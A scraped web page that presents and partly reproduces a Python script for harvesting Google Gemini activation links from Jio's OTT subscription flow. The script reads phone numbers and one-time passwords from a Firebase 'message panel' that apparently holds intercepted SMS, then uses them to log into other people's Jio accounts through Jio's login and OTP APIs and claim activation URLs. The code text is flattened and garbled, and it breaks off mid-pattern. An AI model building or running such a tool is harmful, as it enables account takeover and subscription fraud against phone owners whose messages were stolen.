Jio Gemini 18M Link Extract A developer published a Python script that automates extracting Google Gemini activation links from Jio's OTT subscription flow, using the Jio recharge and login APIs to check numbers, send and verify OTPs, and pull activation URLs from Firebase-backed message panels. The tool logs results such as mobile number, status, and activation URL to a CSV, with statuses including activation_url_found, already_active, and otp_failed. | | from future import annotations | | | import base64 | | | import csv | | | import html | | | import json | | | import re | | | import sys | | | import time | | | from collections import Counter, defaultdict | | | from dataclasses import dataclass, field | | | from datetime import datetime | | | from pathlib import Path | | | from typing import Any, Callable, Dict, List, Optional, Set, Tuple | | | from urllib.parse import unquote | | | from zoneinfo import ZoneInfo | | | import requests | | | from rich.console import Console | | | from rich.panel import Panel | | | from rich.progress import BarColumn, Progress, SpinnerColumn, TextColumn, TimeElapsedColumn | | | from rich.style import Style | | | from rich.table import Table | | | from rich.text import Text | | | Ensure stdout/stderr handles UTF-8 on Windows environments | | | if sys.stdout and hasattr sys.stdout, "reconfigure" : | | | try: | | | sys.stdout.reconfigure encoding="utf-8" | | | except Exception: | | | pass | | | if sys.stderr and hasattr sys.stderr, "reconfigure" : | | | try: | | | sys.stderr.reconfigure encoding="utf-8" | | | except Exception: | | | pass | | | Initialize Rich console | | | console = Console | | | ==================== CONFIGURATION ==================== | | | FIREBASE PANELS: List Tuple str, str = | | | "https://annebellapanel.vercel.app/?s=aHR0cHM6Ly9jb3VzdGVtZXItc3VwcG9ydC0xMmU0MC1kZWZhdWx0LXJ0ZGIuZmlyZWJhc2Vpby5jb218fHxBbm5lYmVsbGE=", "Gagw" , | | | | | | MESSAGE SCAN LIMIT: int = 100 | | | OTP TIMEOUT: int = 15 | | | POLL INTERVAL: int = 1 | | | LINKS FILE: Path = Path "gemini activation links.txt" | | | RESULTS FILE: Path = Path "gemini results.csv" | | | CHECK NUMBER URL: str = "https://www.jio.com/api/jio-recharge-service/recharge/mobility/number/{mobile}" | | | SEND OTP URL: str = "https://www.jio.com/api/jio-login-service/login/sendOtp" | | | VERIFY OTP URL: str = "https://www.jio.com/api/jio-login-service/login/validateOtp" | | | AUTH URL: str = "https://www.jio.com/api/jio-authenticate-service/authenticate/authJsonData" | | | NAVIGATE URL: str = "https://www.jio.com/api/jio-ott-service/ott/subscription/navigate/Z0241" | | | ACTIVATE URL: str = "https://www.jio.com/api/jio-ott-service/ott/subscription/activate/Z0241?source=JIO" | | | GOOGLE URL: str = "https://www.jio.com/api/jio-ott-service/ott/subscription/google-ai" | | | SUBMIT URL: str = "https://www.jio.com/api/jio-ott-service/ott/subscription/submit" | | | GOOGLE PAGE: str = "https://www.jio.com/selfcare/googleai/?header=no&type=Z0241&source=JIO" | | | NUMBER PATTERNS: Tuple re.Pattern, ... = | | | re.compile r" ?i \bjio\s ?:number\|no . ? \s :=- ?\s ?: + 91 ? 6-9 \d{9} " , | | | re.compile r" ?i \brecharge ?:\s+now ?\s+jio\s+no . ?\s :=- ?\s ?: + 91 ? 6-9 \d{9} " , | | | | | | OTP WORD PATTERN: re.Pattern = re.compile r" ?i \botp\b\|one - ?time password" | | | OTP PATTERN: re.Pattern = re.compile r" ?< \d \d{6} ? \d " | | | ACTIVATION PATTERN: re.Pattern = re.compile | | | r"https?://serviceactivation . google . com/subscription/new/" | | | r" ?P